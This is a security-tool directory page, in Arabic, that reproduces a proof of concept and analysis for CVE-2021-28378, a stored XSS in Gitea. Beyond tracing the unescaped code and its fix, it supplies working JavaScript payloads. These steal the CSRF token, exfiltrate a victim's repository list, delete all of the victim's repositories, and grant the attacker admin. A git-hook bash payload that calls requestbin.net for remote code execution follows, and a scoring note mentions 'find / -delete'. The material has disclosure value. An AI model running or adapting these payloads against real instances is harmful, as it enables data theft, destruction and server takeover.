Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-28378 — إثبات مفهوم وتحليل مفصل لـ CVE-2021-28378، وهي ثغرة XSS مخزنة في Gitea تتيح حقن التعليمات البرمجية التعسفي وتصعيد الامتيازات وتنفيذ التعليمات البرمجية عن بُعد عبر خطافات git. | Kitploit
أدوات/GitHubGitHub/pandatix/cve-2021-28378
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubpandatix/cve-2021-28378

CVE-2021-28378

إثبات مفهوم وتحليل مفصل لـ CVE-2021-28378، وهي ثغرة XSS مخزنة في Gitea تتيح حقن التعليمات البرمجية التعسفي وتصعيد الامتيازات وتنفيذ التعليمات البرمجية عن بُعد عبر خطافات git.

عرض المستودع
43منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-28378

تفاصيل حول هذا CVE هنا.

يستهدف هذا CVE غياب تهريب السلاسل (string escaping) في جانب العميل للمحتوى الذي يتم جلبه من الخادم. فهو يمكّن المهاجم من حقن كود تعسفي بسهولة، عن طريق إنشاء تعليق على issue أو pull request. تم تقديم هذا في commit 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5، في نهاية يناير 2020، ولكن بسبب squash لا يمكننا معرفة من فعل ذلك بالضبط للتحقيق في أخطاء مماثلة تم تقديمها.

أولاً، دعنا نفهم من أين تأتي هذه الثغرة. لهذا، دعنا نرى الـ commit الذي يصلح هذا CVE.

قبل:

  • أولاً:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • ثانياً:
root@kitploit:~
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

يمكننا أن نرى أنه لا يوجد أي تهريب HTML على label.name وissue.repository.full_name و و، وهي سلاسل يمكن للمستخدم التلاعب بها، وبالتالي حقن كود تعسفي. لاحظ أن لا يمكن التلاعب به فعلياً لحقن كود لأنه يجب أن يتبع قواعد كثيرة جداً () لا يمكننا تجاوزها مع هذا CVE. هذا بالضبط ما يصلحه الـ PR عن طريق تحويلها إلى .

issue.title
body
issue.repository.full_name
[\w._-]+
htmlEscape

بعد:

  • أولاً:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • ثانياً:
root@kitploit:~
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

فهم الثغرة

دعنا نلقي نظرة سريعة على الملف web_src/js/features/contextpopup.js، لمعرفة كيفية تشغيل CVE.

root@kitploit:~
...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

ما نراه هنا هو أنه لكل عقدة تحمل الكلاس ref-issue، سنضيف popup ضعيف. الآن، نحتاج إلى إيجاد أين يتم إرسال ref-issue إلى المستخدم: دعنا نستخدم grep (ونحتفظ فقط بالنتائج المهمة، أي ليس ملفات الاختبار أو ما شابهها)! رقم الـ commit التالي يقابل وسم 1.12.4، وهو الإصدار الافتراضي من ملف docker-compose.yml الرسمي، المتأثر بهذا CVE.

root@kitploit:~
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

نعلم الآن أنه لا يوجد محتوى ثابت يحمل الكلاس ref-issue، بل يتم إنشاؤه ديناميكياً. النتيجة الأخيرة ليست مهمة لأنها مجرد قاعدة sanitizer policy. أما البقية فمهمة، وسنرى السبب.

دعنا نتعمق في modules/markup/html.go.

root@kitploit:~
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

سنحتاج أيضاً إلى فهم ما يفعله getIssueFullPattern.

root@kitploit:~
func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

دعنا نلخص لفهم المهمة المنجزة هناك.

في fullIssuePatternProcessor، نحتاج أولاً إلى التأكد من أن ctx.metas ليس nil (وهو ما نفترض أنه صحيح لأنه مبني بواسطة دوال/طرق أعلى في مكدس الاستدعاء). ثم نتحقق مما إذا كانت بيانات العقدة تطابق مساراً مثل http://mygitea.com/gituser/myrepo/issues/1. إذا كان هناك تطابق، نستبدله برابط. إذا كان الرابط يتعلق بنفس المستخدم والمستودع، نستبدله بنمط #<issue_id>، وإلا بـ <user>/<repo>#<issue_id>. في كلتا الحالتين، لدينا كلاس ref-issue يُضاف لتوليد الـ popup.

نتائج grep الأخرى تقوم بنفس النوع من العمل.

وقت اللعب!

الآن لدينا السياق، والذي يدور حول استبدال رابط مثل http://mygitea.com/gituser/myrepo/issues/1 برابط أقصر، يمكننا استنتاج أين تتم هذه المهمة: في issues و PR، حيث يمكنك إضافة label و/أو نشر تعليق.

لهذا، لنفترض أن لديك مستودعاً بصلاحيات كتابة.

Label

انتقل إلى مستودعك، وأنشئ label جديد باسم يحتوي على كود تعسفي (مثل <script>alert('label.name')</script>).

Issue

انتقل إلى issues مستودعك، وأنشئ issue جديد بكود تعسفي في العنوان والنص، وأضف إليه الـ label السابق.

لننفذ بعض الكود

أنشئ issue جديد في أي مستودع، وأضف في نصه رابطاً إلى الـ issue المحقون لديك مثل http://mygitea.com/gituser/myrepo/issues/1. سيتم استبداله بالرابط الذي رأيناه سابقاً، وعندما يمرر شخص ما مؤشر الفأرة فوق الرابط، سيتم تنفيذ الكود التعسفي: سيتم عرض popup يضم label.name.

وقت الاستغلال

ثبت أن CVE-2021-28378 قادر على تمكين حقن كود تعسفي. دعنا نتخيل ما يمكن أن يفعله المهاجم.

في Gitea، لديك رمز CSRF يؤكد هويتك عند ملء النماذج و/أو استدعاء API، مما يمنع مشاكل أمنية مثل تضمين iframe من Gitea لسرقة وصولاتك. رمز CSRF مخزّن في ملفات تعريف الارتباط الخاصة بك (_csrf)، وكذلك في معظم صفحات الويب (باستثناء بعضها مثل /api/v1/swagger) التي يزورها المستخدم ضمن بعض الحقول... وهكذا في صفحات issues/PR. الحقل الأكثر إثارة للاهتمام الذي يحتوي عليه موجود داخل الجزء المشترك من ترويسة صفحات HTML، دائمًا بنفس XPath: /html/head/meta[9].

بهذه البيانات، يمكننا الآن إرسال إجراءات موثقة من أي مستخدم متأثر بحمولتنا، بمجرد الحصول على رمز CSRF في JS، باستخدام ما يلي: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.

الآن، حان وقت استخدام إبداعك لبناء هجمات متنوعة. لاحظ أنك ستكون محدوداً في أفعالك، ولكن ليس كثيراً:

  • يجب أن يكون label.name وissue.title قصيرين، وبالتالي لن تناسب الكثير من الحمولات. ومع ذلك، يمكنك حقن script مع خاصية src تشير إلى أي سكربت تريده؛
  • body غير محدود الطول، لكن معاينة الـ popup تحد من معاينة البيانات. سيتعين أن تكون حمولتك في البداية إذا أردت أن يتم تشغيلها. ومع ذلك، يمكنك القيام كما هو محدد سابقاً باستخدام script وخاصية src.

دعنا نلقي نظرة على بعض الأمثلة التي يمكنك بناؤها.

الحصول على جميع مستودعات مستخدم

تخيل السيناريو حيث يريد مهاجم الحصول على جميع المستودعات التي لديك صلاحية الوصول إليها. هذا يثبت أن الهجوم يمكن أن يكسر كل سرية بياناتك. يتم هذا الهجوم في 3 خطوات:

  • سرقة رمز CSRF؛
  • الحصول على قائمة المستودعات؛
  • إنشاء تذكرة جديدة تحتوي على محتوى JSON الخام من الخطوة السابقة.

دعنا نكتب بعض كود JS للقيام بذلك:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        var xhrPost = new XMLHttpRequest();
        xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
        xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
    }
}
xhrGet.send(null);

ضع هذه الحمولة في ملف خاص بها، ارفعه في مستودعك واحقنه في نص issue باستخدام شيء مثل <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

الآن يمكن للمهاجم التعليق على issue/PR يشير إلى هذا الـ issue المحقون، وعندما يمرر شخص ما مؤشر الفأرة فوق الرابط، ستُسرق جميع بيانات مستودعاته من قبل المهاجم!

حذف جميع المستودعات التي يملك مستخدم صلاحية الوصول إليها

تخيل السيناريو حيث يريد مهاجم حذف جميع المستودعات التي لديك صلاحية الوصول إليها. هذا يثبت أن الهجوم يمكن أن يكسر كل تكامل بياناتك. يتم هذا الهجوم في 3 خطوات:

  • سرقة رمز CSRF؛
  • الحصول على قائمة المستودعات؛
  • لكل مستودع، حذفه (على الأقل المحاولة).

دعنا نكتب بعض كود JS للقيام بذلك:

root@kitploit:~
var AppURL = "http://mygitea.com";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        data = xhrGet.response.data;
        data.forEach(repo => {
            var xhrPost = new XMLHttpRequest();
            xhrPost.open("POST", repo.html_url + "/settings", true);
            xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
        });
    }
}
xhrGet.send(null);

ضع هذه الحمولة في ملف خاص بها، ارفعه في مستودعك واحقنه في نص issue باستخدام شيء مثل <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

الآن يمكن للمهاجم التعليق على issue/PR يشير إلى هذا الـ issue المحقون، وعندما يمرر شخص ما مؤشر الفأرة فوق المرجع، سيتم حذف جميع المستودعات التي لديه صلاحية الوصول إليها!

الحصول على صلاحيات المدير

تخيل السيناريو حيث يريد مهاجم الحصول على صلاحيات المدير. هذا يثبت أن تصعيد الامتيازات ممكن. يتم هذا الهجوم في خطوتين:

  • سرقة رمز CSRF؛
  • منح صلاحيات المدير للمهاجم (على الأقل المحاولة).

دعنا نكتب بعض كود JS للقيام بذلك:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");

لاحظ أن قيمة login_type يمكن أن تتغير وفقاً لإصدار Gitea الخاص بك وطريقة تعامل نسختك مع تسجيل الدخول.

ضع هذه الحمولة في ملف خاص بها، ارفعه في مستودعك واحقنه في نص issue باستخدام شيء مثل <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

الآن يمكن للمهاجم التعليق على issue/PR يشير إلى هذا الـ issue المحقون، وعندما يمرر شخص لديه صلاحيات كافية مؤشر الفأرة فوق المرجع، يحصل المهاجم على صلاحيات المدير! يمكنه أيضاً تعيين الـ issue لمدير، أو إنشاء الـ issue في مستودع يراقبه مدير (وبالتالي سيحصل على إشعار) لزيادة فرصه.

الحصول على RCE

الجزء """الأكثر تسلية""" مع Gitea هو أن الاعتبارات الأمنية لم تكن جزءاً من العملية، من خلال تنفيذ git hooks. إنها على الأرجح واحدة من أسوأ الأفكار التي يمكنك تنفيذها.

بمجرد حصولك على صلاحيات المدير، يمكنك أن تمنح نفسك امتياز إدارة git hooks (وهو ما يتم تحقيقه بالحمولة السابقة). تابع كما تفعل وحدة Metasploit الخاصة بـ Gitea Git Hooks Remote Code Execution:

  • أضف حمولة bash الخاصة بك إلى git-hook post-receive؛
  • نفّذ commit و push لشيء ما، حتى لو كان فارغاً؛
  • تحقق من تأثير الحمولة.

للتأكد من أن RCE هذا صالح، دعنا نضع ما يلي، مع id صالح.

root@kitploit:~
#!/bin/bash

curl https://requestbin.net/r/<id>

في لوحة فحص RequestBin، بعد أن نرسل ملفاً يشغّل git hook post-receive، نرى أنه تم تنفيذ طلب مع User-Agent: curl/<version> مما يثبت أنه RCE صالح.

لاحظ أن هذه الوظيفة تعني أنه لكل XSS يمكن تشغيلها بواسطة مدير، طالما كانت قيمة _csrf مضمّنة في معظم صفحات الويب، يمكنك الحصول على RCE على Gitea.

كيفية الوقاية

قم بتحديثاتك وفقاً للإصدارات المتأثرة بـ CVE (راجع التقرير الرسمي). وقت كتابة هذا: 1.12.0 إلى 1.13.4 (مستبعد).

ملاحظات

فيما يلي قائمة بالإصدارات المتأثرة وحالة اختبارها. لاحظ أنه لإصدارات 1.13.X، سيتعين عليك إضافة DISABLE_GIT_HOOKS = false في ملف app.ini ضمن قسم [security]، والذي قد يكون موجوداً في data/gitea/conf/app.ini، اعتماداً على مكان مجلد البيانات لديك (بالنسبة لملف docker-compose.yml الموثق على DockerHub، سيكون في نفس المجلد).

VersionXSSRCE
1.12.0✅✅
1.12.1✅✅
1.12.2✅✅
1.12.3✅✅
1.12.4✅✅
1.12.5✅✅
1.12.6✅✅
1.13.0✅✅
1.13.1✅✅
1.13.2✅✅
1.13.3✅✅

✅: ثبت أنه يعمل ; ❓: يحتاج اختبارات ; ❌: ثبت أنه لا يعمل

هذه الورقة مصممة لإرشاد القارئ إلى حساب الدرجة: الغرض منها فقط مناقشة التقييم، ولا ينبغي اعتبارها أمراً.

MetricValueExplanation
AVNetworkيستخدم HTTP للتفاعل.
ACLowيحتاج فقط إلى issue (افتراضياً على Gitea من السهل جداً فتح واحد لأنه مفعل للجميع) أو pull request.
PRLowفي معظم السياقات يحتاج حساباً لإنشاء issue (افتراضياً، يمكنك تسجيل حسابات جديدة). جميع الحسابات يمكنها إنشاء issue على مستودع للقراءة فقط، باستثناء حالة تكوين المستودع لمنع issues (وهو ليس الإعداد الافتراضي ونادراً ما يتم تعديله).
UIRequiredيجب على مستخدم أو مدير تمرير مؤشر الفأرة فوق الرابط المصاب لتشغيل حمولة.
SChangedمع RCE، لديك وصول إلى الجهاز المضيف وبالتالي الخدمات المتجاورة.
CHighبمجرد حصولك على صلاحيات المدير، يمكنك إدارة كل شيء حتى لو تم تكوينه كخاص. أنت قادر على سرقة بيانات اعتماد قاعدة البيانات، والاتصال بها باستخدام RCE واستخراج البيانات. مع RCE، يمكنك قراءة نظام الملفات مباشرة، حيث لا يتم تنفيذ أي فحوصات مصادقة/تفويض من قبل Gitea.
IHighبمجرد حصولك على صلاحيات المدير، يمكنك تعديل الصلاحيات والرؤية وتغيير كود المستودع، وحتى حذف المستودع. مع RCE، أنت حر في الغوص في كل شيء وبالتالي التأثير على تكامل المستخدمين والملفات...
AHighبالنظر إلى RCE، يمكنك ببساطة حذف نظام الملفات بالكامل باستخدام find / -delete، مما يسبب خسارة كاملة للتوافر.
EHighبالنظر إلى السكربت exploit.py، يمكنك بسهولة استغلال الثغرة، من حساب بسيط إلى reverse shell كجذر.
RLOfficial Fixتم الإصلاح بواسطة commit <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>، الذي تم دمجه في master وبالتالي في Gitea 1.13.4.
RCConfirmedيؤكد هذا التقرير ويعرض استغلالات متعددة، من تحليل أصل XSS إلى مثال RCE وسكربت.

سلسلة المتجهات: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C

Metric group nameScoreVerbose
Base Score9.0حرج
Temporal Score8.6مرتفع
تنزيل الأداة